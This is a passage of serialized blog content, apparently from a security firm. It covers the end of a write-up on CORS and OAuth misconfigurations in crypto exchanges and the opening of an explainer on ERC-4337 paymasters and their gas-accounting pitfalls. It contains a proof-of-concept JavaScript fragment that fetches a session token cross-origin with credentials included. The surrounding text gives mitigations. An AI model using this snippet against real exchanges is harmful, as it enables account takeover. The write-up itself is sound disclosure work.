res",{"type":23,"tag":314,"props":101124,"children":101125},{"style":354},[101126],{"type":28,"value":1237},{"type":23,"tag":314,"props":101128,"children":101129},{"style":2284},[101130],{"type":28,"value":35460},{"type":23,"tag":314,"props":101132,"children":101133},{"style":332},[101134],{"type":28,"value":32177},{"type":23,"tag":314,"props":101136,"children":101137},{"style":338},[101138],{"type":28,"value":341},{"type":23,"tag":314,"props":101140,"children":101141},{"style":1245},[101142],{"type":28,"value":101143},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":314,"props":101145,"children":101146},{"style":338},[101147],{"type":28,"value":48132},{"type":23,"tag":314,"props":101149,"children":101150},{"class":316,"line":380},[101151,101156,101161],{"type":23,"tag":314,"props":101152,"children":101153},{"style":360},[101154],{"type":28,"value":101155}," credentials:",{"type":23,"tag":314,"props":101157,"children":101158},{"style":1245},[101159],{"type":28,"value":101160}," 'include'",{"type":23,"tag":314,"props":101162,"children":101163},{"style":338},[101164],{"type":28,"value":1870},{"type":23,"tag":314,"props":101166,"children":101167},{"class":316,"line":1091},[101168,101173,101178],{"type":23,"tag":314,"props":101169,"children":101170},{"style":360},[101171],{"type":28,"value":101172}," method:",{"type":23,"tag":314,"props":101174,"children":101175},{"style":1245},[101176],{"type":28,"value":101177}," 'POST'",{"type":23,"tag":314,"props":101179,"children":101180},{"style":338},[101181],{"type":28,"value":1870},{"type":23,"tag":314,"props":101183,"children":101184},{"class":316,"line":1141},[101185],{"type":23,"tag":314,"props":101186,"children":101187},{"style":338},[101188],{"type":28,"value":97446},{"type":23,"tag":314,"props":101190,"children":101191},{"class":316,"line":1173},[101192,101197,101201,101206,101210,101214,101218,101222,101226],{"type":23,"tag":314,"props":101193,"children":101194},{"style":360},[101195],{"type":28,"value":101196}," console",{"type":23,"tag":314,"props":101198,"children":101199},{"style":338},[101200],{"type":28,"value":282},{"type":23,"tag":314,"props":101202,"children":101203},{"style":332},[101204],{"type":28,"value":101205},"log",{"type":23,"tag":314,"props":101207,"children":101208},{"style":338},[101209],{"type":28,"value":341},{"type":23,"tag":314,"props":101211,"children":101212},{"style":2284},[101213],{"type":28,"value":32164},{"type":23,"tag":314,"props":101215,"children":101216},{"style":360},[101217],{"type":28,"value":101122},{"type":23,"tag":314,"props":101219,"children":101220},{"style":338},[101221],{"type":28,"value":282},{"type":23,"tag":314,"props":101223,"children":101224},{"style":332},[101225],{"type":28,"value":33246},{"type":23,"tag":314,"props":101227,"children":101228},{"style":338},[101229],{"type":28,"value":14667},{"type":23,"tag":314,"props":101231,"children":101232},{"class":316,"line":1208},[101233],{"type":23,"tag":314,"props":101234,"children":101235},{"style":338},[101236],{"type":28,"value":101237},"})();\n",{"type":23,"tag":24,"props":101239,"children":101240},{},[101241],{"type":28,"value":101242},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":837,"props":101244,"children":101245},{"id":39581},[101246],{"type":28,"value":39584},{"type":23,"tag":24,"props":101248,"children":101249},{},[101250,101252,101257],{"type":28,"value":101251},"As mitigation, it is recommended to remove all ",{"type":23,"tag":94,"props":101253,"children":101255},{"className":101254},[],[101256],{"type":28,"value":100929},{"type":28,"value":101258}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":101260,"children":101261},{},[101262],{"type":28,"value":101263},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":61,"props":101265,"children":101266},{"id":28180},[101267],{"type":28,"value":18185},{"type":23,"tag":24,"props":101269,"children":101270},{},[101271],{"type":28,"value":101272},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":101274,"children":101275},{},[101276],{"type":28,"value":101277},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":2096,"props":101279,"children":101280},{},[101281],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":101283},[101284,101289,101294],{"id":98968,"depth":370,"text":98971,"children":101285},[101286,101287,101288],{"id":98979,"depth":380,"text":98982},{"id":99336,"depth":380,"text":99339},{"id":100899,"depth":380,"text":100902},{"id":100910,"depth":370,"text":100913,"children":101290},[101291,101292,101293],{"id":100974,"depth":380,"text":100977},{"id":101031,"depth":380,"text":99363},{"id":39581,"depth":380,"text":39584},{"id":28180,"depth":370,"text":18185},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":101299,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101300,"description":101301,"date":101302,"author":101303,"image":101304,"isFeatured":18,"onBlogPage":18,"tags":101306,"body":101309,"_type":2117,"_id":107081,"_source":2119,"_file":107082,"_stem":107083,"_extension":2122},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":101305,"width":96520,"height":12871},"/posts/paymasters-evm/title.png",[101307,101308],"evm","ERC-4337",{"type":20,"children":101310,"toc":107060},[101311,101315,101326,101331,101336,101341,101347,101353,101358,101363,101369,101374,101402,101408,101413,101420,101425,101435,101440,101466,101472,101492,101498,101518,101526,101557,101590,101599,101611,101636,101648,101661,101704,101710,101743,101842,101861,101884,101889,101895,101923,102070,102075,102102,102108,102120,102132,102141,102176,102181,103666,103694,103715,103720,103732,103741,103746,103764,103787,103792,103798,103852,103858,103891,103926,104750,104786,104822,104888,104921,105419,105472,105484,106048,106117,106144,106766,106808,106835,106847,106908,106927,106961,106966,106971,106976,106980,106985,107020,107046,107051,107056],{"type":23,"tag":54,"props":101312,"children":101313},{"id":28263},[101314],{"type":28,"value":28266},{"type":23,"tag":24,"props":101316,"children":101317},{},[101318,101324],{"type":23,"tag":31,"props":101319,"children":101322},{"href":101320,"rel":101321},"https://docs.erc4337.io/",[35],[101323],{"type":28,"value":101308},{"type":28,"value":101325}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":101327,"children":101328},{},[101329],{"type":28,"value":101330},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":101332,"children":101333},{},[101334],{"type":28,"value":101335},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":101337,"children":101338},{},[101339],{"type":28,"value":101340},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":54,"props":101342,"children":101344},{"id":101343},"erc4337-overview",[101345],{"type":28,"value":101346},"ERC4337 Overview",{"type":23,"tag":61,"props":101348,"children":101350},{"id":101349},"traditional-eoas-vs-smart-contract-wallets",[101351],{"type":28,"value":101352},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":101354,"children":101355},{},[101356],{"type":28,"value":101357},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":101359,"children":101360},{},[101361],{"type":28,"value":101362},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":61,"props":101364,"children":101366},{"id":101365},"why-erc4337-was-introduced",[101367],{"type":28,"value":101368},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":101370,"children":101371},{},[101372],{"type":28,"value":101373},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":127,"props":101375,"children":101376},{},[101377,101382,101387,101392,101397],{"type":23,"tag":88,"props":101378,"children":101379},{},[101380],{"type":28,"value":101381},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":88,"props":101383,"children":101384},{},[101385],{"type":28,"value":101386},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":88,"props":101388,"children":101389},{},[101390],{"type":28,"value":101391},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":88,"props":101393,"children":101394},{},[101395],{"type":28,"value":101396},"Using custom signature schemes or multisig logic",{"type":23,"tag":88,"props":101398,"children":101399},{},[101400],{"type":28,"value":101401},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":61,"props":101403,"children":101405},{"id":101404},"how-erc-4337-works",[101406],{"type":28,"value":101407},"How ERC-4337 Works",{"type":23,"tag":24,"props":101409,"children":101410},{},[101411],{"type":28,"value":101412},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":101414,"children":101415},{},[101416],{"type":23,"tag":197,"props":101417,"children":101419},{"alt":49829,"src":101418},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":101421,"children":101422},{},[101423],{"type":28,"value":101424},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":837,"props":101426,"children":101428},{"id":101427},"useroperation",[101429],{"type":23,"tag":94,"props":101430,"children":101432},{"className":101431},[],[101433],{"type":28,"value":101434},"UserOperation",{"type":23,"tag":24,"props":101436,"children":101437},{},[101438],{"type":28,"value":101439},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":127,"props":101441,"children":101442},{},[101443,101448,101453],{"type":23,"tag":88,"props":101444,"children":101445},{},[101446],{"type":28,"value":101447},"Target contract call(s)",{"type":23,"tag":88,"props":101449,"children":101450},{},[101451],{"type":28,"value":101452},"Signature or validation metadata",{"type":23,"tag":88,"props":101454,"children":101455},{},[101456,101458,101464],{"type":28,"value":101457},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":94,"props":101459,"children":101461},{"className":101460},[],[101462],{"type":28,"value":101463},"UserOperations",{"type":28,"value":101465}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":837,"props":101467,"children":101469},{"id":101468},"smart-contract-account",[101470],{"type":28,"value":101471},"Smart Contract Account",{"type":23,"tag":24,"props":101473,"children":101474},{},[101475,101477,101483,101484,101490],{"type":28,"value":101476},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":94,"props":101478,"children":101480},{"className":101479},[],[101481],{"type":28,"value":101482},"validateUserOp()",{"type":28,"value":557},{"type":23,"tag":94,"props":101485,"children":101487},{"className":101486},[],[101488],{"type":28,"value":101489},"executeUserOp()",{"type":28,"value":101491},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":837,"props":101493,"children":101495},{"id":101494},"bundler",[101496],{"type":28,"value":101497},"Bundler",{"type":23,"tag":24,"props":101499,"children":101500},{},[101501,101503,101508,101510,101516],{"type":28,"value":101502},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":94,"props":101504,"children":101506},{"className":101505},[],[101507],{"type":28,"value":101463},{"type":28,"value":101509},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":94,"props":101511,"children":101513},{"className":101512},[],[101514],{"type":28,"value":101515},"EntryPoint",{"type":28,"value":101517}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":837,"props":101519,"children":101520},{"id":300},[101521],{"type":23,"tag":94,"props":101522,"children":101524},{"className":101523},[],[101525],{"type":28,"value":101515},{"type":23,"tag":24,"props":101527,"children":101528},{},[101529,101530,101535,101537,101542,101544,101548,101550,101555],{"type":28,"value":92},{"type":23,"tag":94,"props":101531,"children":101533},{"className":101532},[],[101534],{"type":28,"value":101515},{"type":28,"value":101536}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":94,"props":101538,"children":101540},{"className":101539},[],[101541],{"type":28,"value":101463},{"type":28,"value":101543}," submitted by a ",{"type":23,"tag":721,"props":101545,"children":101546},{},[101547],{"type":28,"value":101497},{"type":28,"value":101549},", the ",{"type":23,"tag":94,"props":101551,"children":101553},{"className":101552},[],[101554],{"type":28,"value":101515},{"type":28,"value":101556}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":101558,"children":101559},{},[101560,101562,101567,101569,101573,101575,101580,101582,101588],{"type":28,"value":101561},"Once all operations have been processed, the ",{"type":23,"tag":94,"props":101563,"children":101565},{"className":101564},[],[101566],{"type":28,"value":101515},{"type":28,"value":101568}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":721,"props":101570,"children":101571},{},[101572],{"type":28,"value":101497},{"type":28,"value":101574},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":94,"props":101576,"children":101578},{"className":101577},[],[101579],{"type":28,"value":101515},{"type":28,"value":101581}," or from a ",{"type":23,"tag":94,"props":101583,"children":101585},{"className":101584},[],[101586],{"type":28,"value":101587},"paymaster",{"type":28,"value":101589}," that has agreed to sponsor the transaction.",{"type":23,"tag":837,"props":101591,"children":101592},{"id":101587},[101593],{"type":23,"tag":94,"props":101594,"children":101596},{"className":101595},[],[101597],{"type":28,"value":101598},"Paymaster",{"type":23,"tag":24,"props":101600,"children":101601},{},[101602,101604,101609],{"type":28,"value":101603},"A ",{"type":23,"tag":94,"props":101605,"children":101607},{"className":101606},[],[101608],{"type":28,"value":101587},{"type":28,"value":101610}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":127,"props":101612,"children":101613},{},[101614,101625],{"type":23,"tag":88,"props":101615,"children":101616},{},[101617,101623],{"type":23,"tag":94,"props":101618,"children":101620},{"className":101619},[],[101621],{"type":28,"value":101622},"validatePaymasterUserOp()",{"type":28,"value":101624}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":88,"props":101626,"children":101627},{},[101628,101634],{"type":23,"tag":94,"props":101629,"children":101631},{"className":101630},[],[101632],{"type":28,"value":101633},"postOp()",{"type":28,"value":101635},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":101637,"children":101638},{},[101639,101641,101646],{"type":28,"value":101640},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":94,"props":101642,"children":101644},{"className":101643},[],[101645],{"type":28,"value":101587},{"type":28,"value":101647}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":61,"props":101649,"children":101651},{"id":101650},"understanding-the-entrypoints-flow",[101652,101654,101659],{"type":28,"value":101653},"Understanding the ",{"type":23,"tag":94,"props":101655,"children":101657},{"className":101656},[],[101658],{"type":28,"value":101515},{"type":28,"value":101660},"'s Flow",{"type":23,"tag":24,"props":101662,"children":101663},{},[101664,101666,101671,101672,101677,101679,101690,101692,101697,101698,101703],{"type":28,"value":101665},"When a bundler submits ",{"type":23,"tag":94,"props":101667,"children":101669},{"className":101668},[],[101670],{"type":28,"value":101463},{"type":28,"value":15653},{"type":23,"tag":94,"props":101673,"children":101675},{"className":101674},[],[101676],{"type":28,"value":101515},{"type":28,"value":101678}," contract via ",{"type":23,"tag":31,"props":101680,"children":101683},{"href":101681,"rel":101682},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[35],[101684],{"type":23,"tag":94,"props":101685,"children":101687},{"className":101686},[],[101688],{"type":28,"value":101689},"handleOps()",{"type":28,"value":101691},", the processing occurs in two main phases: ",{"type":23,"tag":721,"props":101693,"children":101694},{},[101695],{"type":28,"value":101696},"Validation",{"type":28,"value":557},{"type":23,"tag":721,"props":101699,"children":101700},{},[101701],{"type":28,"value":101702},"Execution",{"type":28,"value":282},{"type":23,"tag":837,"props":101705,"children":101707},{"id":101706},"validation-phase",[101708],{"type":28,"value":101709},"Validation Phase",{"type":23,"tag":24,"props":101711,"children":101712},{},[101713,101715,101720,101722,101728,101730,101736,101737,101742],{"type":28,"value":101714},"In this phase, the ",{"type":23,"tag":94,"props":101716,"children":101718},{"className":101717},[],[101719],{"type":28,"value":101515},{"type":28,"value":101721}," first validates all operations in the submitted ",{"type":23,"tag":94,"props":101723,"children":101725},{"className":101724},[],[101726],{"type":28,"value":101727},"UserOps",{"type":28,"value":101729}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":94,"props":101731,"children":101733},{"className":101732},[],[101734],{"type":28,"value":101735},"UserOp",{"type":28,"value":101549},{"type":23,"tag":94,"props":101738,"children":101740},{"className":101739},[],[101741],{"type":28,"value":101515},{"type":28,"value":3746},{"type":23,"tag":84,"props":101744,"children":101745},{},[101746,101764,101782,101803,101815],{"type":23,"tag":88,"props":101747,"children":101748},{},[101749,101756,101758],{"type":23,"tag":31,"props":101750,"children":101753},{"href":101751,"rel":101752},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[35],[101754],{"type":28,"value":101755},"Calculates",{"type":28,"value":101757}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":94,"props":101759,"children":101761},{"className":101760},[],[101762],{"type":28,"value":101763},"maxFeePerGas",{"type":23,"tag":88,"props":101765,"children":101766},{},[101767,101774,101775,101780],{"type":23,"tag":31,"props":101768,"children":101771},{"href":101769,"rel":101770},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[35],[101772],{"type":28,"value":101773},"Calls",{"type":28,"value":5713},{"type":23,"tag":94,"props":101776,"children":101778},{"className":101777},[],[101779],{"type":28,"value":101482},{"type":28,"value":101781}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":88,"props":101783,"children":101784},{},[101785,101787,101794,101796,101801],{"type":28,"value":101786},"If no paymaster is specified, attempts to ",{"type":23,"tag":31,"props":101788,"children":101791},{"href":101789,"rel":101790},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[35],[101792],{"type":28,"value":101793},"deduct",{"type":28,"value":101795}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":94,"props":101797,"children":101799},{"className":101798},[],[101800],{"type":28,"value":101515},{"type":28,"value":101802}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":88,"props":101804,"children":101805},{},[101806,101813],{"type":23,"tag":31,"props":101807,"children":101810},{"href":101808,"rel":101809},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[35],[101811],{"type":28,"value":101812},"Validates",{"type":28,"value":101814}," the nonce to prevent replay attacks",{"type":23,"tag":88,"props":101816,"children":101817},{},[101818,101820,101826,101828,101834,101835,101840],{"type":28,"value":101819},"If a paymaster is specified, it will ",{"type":23,"tag":31,"props":101821,"children":101824},{"href":101822,"rel":101823},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[35],[101825],{"type":28,"value":101793},{"type":28,"value":101827}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":31,"props":101829,"children":101832},{"href":101830,"rel":101831},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[35],[101833],{"type":28,"value":37544},{"type":28,"value":5713},{"type":23,"tag":94,"props":101836,"children":101838},{"className":101837},[],[101839],{"type":28,"value":101622},{"type":28,"value":101841}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":101843,"children":101844},{},[101845,101847,101852,101854,101859],{"type":28,"value":101846},"Only after all these validation checks pass will the ",{"type":23,"tag":94,"props":101848,"children":101850},{"className":101849},[],[101851],{"type":28,"value":101515},{"type":28,"value":101853}," move on to actually executing the ",{"type":23,"tag":94,"props":101855,"children":101857},{"className":101856},[],[101858],{"type":28,"value":101434},{"type":28,"value":101860},". This strict validation flow ensures that:",{"type":23,"tag":127,"props":101862,"children":101863},{},[101864,101869,101874,101879],{"type":23,"tag":88,"props":101865,"children":101866},{},[101867],{"type":28,"value":101868},"The operation is legitimate and authorized by the user",{"type":23,"tag":88,"props":101870,"children":101871},{},[101872],{"type":28,"value":101873},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":88,"props":101875,"children":101876},{},[101877],{"type":28,"value":101878},"The operation cannot be replayed",{"type":23,"tag":88,"props":101880,"children":101881},{},[101882],{"type":28,"value":101883},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":101885,"children":101886},{},[101887],{"type":28,"value":101888},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":837,"props":101890,"children":101892},{"id":101891},"execution-phase",[101893],{"type":28,"value":101894},"Execution Phase",{"type":23,"tag":24,"props":101896,"children":101897},{},[101898,101900,101905,101907,101914,101916,101921],{"type":28,"value":101899},"After all operations have passed validation, the ",{"type":23,"tag":94,"props":101901,"children":101903},{"className":101902},[],[101904],{"type":28,"value":101515},{"type":28,"value":101906}," begins the ",{"type":23,"tag":31,"props":101908,"children":101911},{"href":101909,"rel":101910},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[35],[101912],{"type":28,"value":101913},"execution",{"type":28,"value":101915}," phase, processing each ",{"type":23,"tag":94,"props":101917,"children":101919},{"className":101918},[],[101920],{"type":28,"value":101434},{"type":28,"value":101922}," individually. For each operation, the flow is:",{"type":23,"tag":84,"props":101924,"children":101925},{},[101926,101986,102032],{"type":23,"tag":88,"props":101927,"children":101928},{},[101929,101930,101935,101937,101943,101944,101950,101952],{"type":28,"value":92},{"type":23,"tag":94,"props":101931,"children":101933},{"className":101932},[],[101934],{"type":28,"value":101515},{"type":28,"value":101936}," makes a ",{"type":23,"tag":31,"props":101938,"children":101941},{"href":101939,"rel":101940},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[35],[101942],{"type":28,"value":37544},{"type":28,"value":56027},{"type":23,"tag":94,"props":101945,"children":101947},{"className":101946},[],[101948],{"type":28,"value":101949},"innerHandleOp()",{"type":28,"value":101951},", which:\n",{"type":23,"tag":127,"props":101953,"children":101954},{},[101955,101967,101972],{"type":23,"tag":88,"props":101956,"children":101957},{},[101958,101965],{"type":23,"tag":31,"props":101959,"children":101962},{"href":101960,"rel":101961},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[35],[101963],{"type":28,"value":101964},"Forwards",{"type":28,"value":101966}," the operation to the sender's smart account contract",{"type":23,"tag":88,"props":101968,"children":101969},{},[101970],{"type":28,"value":101971},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":88,"props":101973,"children":101974},{},[101975,101977,101984],{"type":28,"value":101976},"Handles ",{"type":23,"tag":31,"props":101978,"children":101981},{"href":101979,"rel":101980},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[35],[101982],{"type":28,"value":101983},"post-execution",{"type":28,"value":101985}," tasks and cleanup",{"type":23,"tag":88,"props":101987,"children":101988},{},[101989,101991,101997,101999,102005,102006,102012,102014],{"type":28,"value":101990},"If a paymaster was used, ",{"type":23,"tag":94,"props":101992,"children":101994},{"className":101993},[],[101995],{"type":28,"value":101996},"Entrypoint",{"type":28,"value":101998}," will ",{"type":23,"tag":31,"props":102000,"children":102003},{"href":102001,"rel":102002},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[35],[102004],{"type":28,"value":37544},{"type":28,"value":5713},{"type":23,"tag":94,"props":102007,"children":102009},{"className":102008},[],[102010],{"type":28,"value":102011},"paymaster.postOp()",{"type":28,"value":102013}," to:\n",{"type":23,"tag":127,"props":102015,"children":102016},{},[102017,102022,102027],{"type":23,"tag":88,"props":102018,"children":102019},{},[102020],{"type":28,"value":102021},"Allow paymaster to finalize its accounting",{"type":23,"tag":88,"props":102023,"children":102024},{},[102025],{"type":28,"value":102026},"Process any refunds or additional charges",{"type":23,"tag":88,"props":102028,"children":102029},{},[102030],{"type":28,"value":102031},"Complete any paymaster-specific logic",{"type":23,"tag":88,"props":102033,"children":102034},{},[102035,102037,102042,102043,102050,102052],{"type":28,"value":102036},"Finally, after all operations are processed, the ",{"type":23,"tag":94,"props":102038,"children":102040},{"className":102039},[],[102041],{"type":28,"value":101515},{"type":28,"value":5713},{"type":23,"tag":31,"props":102044,"children":102047},{"href":102045,"rel":102046},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[35],[102048],{"type":28,"value":102049},"compensates",{"type":28,"value":102051}," the bundler for:\n",{"type":23,"tag":127,"props":102053,"children":102054},{},[102055,102060,102065],{"type":23,"tag":88,"props":102056,"children":102057},{},[102058],{"type":28,"value":102059},"Gas costs from executing all operations",{"type":23,"tag":88,"props":102061,"children":102062},{},[102063],{"type":28,"value":102064},"Overhead from submitting the batch transaction",{"type":23,"tag":88,"props":102066,"children":102067},{},[102068],{"type":28,"value":102069},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":102071,"children":102072},{},[102073],{"type":28,"value":102074},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":102076,"children":102077},{},[102078,102080,102085,102087,102093,102095,102100],{"type":28,"value":102079},"Now that we understand how the ",{"type":23,"tag":94,"props":102081,"children":102083},{"className":102082},[],[102084],{"type":28,"value":101515},{"type":28,"value":102086}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":94,"props":102088,"children":102090},{"className":102089},[],[102091],{"type":28,"value":102092},"paymasters",{"type":28,"value":102094}," that align with the ",{"type":23,"tag":94,"props":102096,"children":102098},{"className":102097},[],[102099],{"type":28,"value":101515},{"type":28,"value":102101},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":54,"props":102103,"children":102105},{"id":102104},"common-pitfalls-in-paymaster-implementation",[102106],{"type":28,"value":102107},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":102109,"children":102110},{},[102111,102113,102118],{"type":28,"value":102112},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":94,"props":102114,"children":102116},{"className":102115},[],[102117],{"type":28,"value":101515},{"type":28,"value":102119}," to exploitation or griefing.",{"type":23,"tag":24,"props":102121,"children":102122},{},[102123,102125,102130],{"type":28,"value":102124},"In this section, we’ll walk through the ",{"type":23,"tag":721,"props":102126,"children":102127},{},[102128],{"type":28,"value":102129},"two most common pitfalls",{"type":28,"value":102131}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":61,"props":102133,"children":102135},{"id":102134},"undercalculated-gas-costs",[102136],{"type":23,"tag":721,"props":102137,"children":102138},{},[102139],{"type":28,"value":102140},"Undercalculated Gas Costs",{"type":23,"tag":24,"props":102142,"children":102143},{},[102144,102146,102151,102153,102158,102160,102165,102167,102174],{"type":28,"value":102145},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":94,"props":102147,"children":102149},{"className":102148},[],[102150],{"type":28,"value":101515},{"type":28,"value":102152},". When a ",{"type":23,"tag":94,"props":102154,"children":102156},{"className":102155},[],[102157],{"type":28,"value":101434},{"type":28,"value":102159}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":94,"props":102161,"children":102163},{"className":102162},[],[102164],{"type":28,"value":101515},{"type":28,"value":102166}," charges a ",{"type":23,"tag":31,"props":102168,"children":102171},{"href":102169,"rel":102170},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[35],[102172],{"type":28,"value":102173},"penalty of 10%",{"type":28,"value":102175}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":102177,"children":102178},{},[102179],{"type":28,"value":102180},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":304,"props":102182,"children":102184},{"className":3729,"code":102183,"language":3728,"meta":7,"style":7},"contract 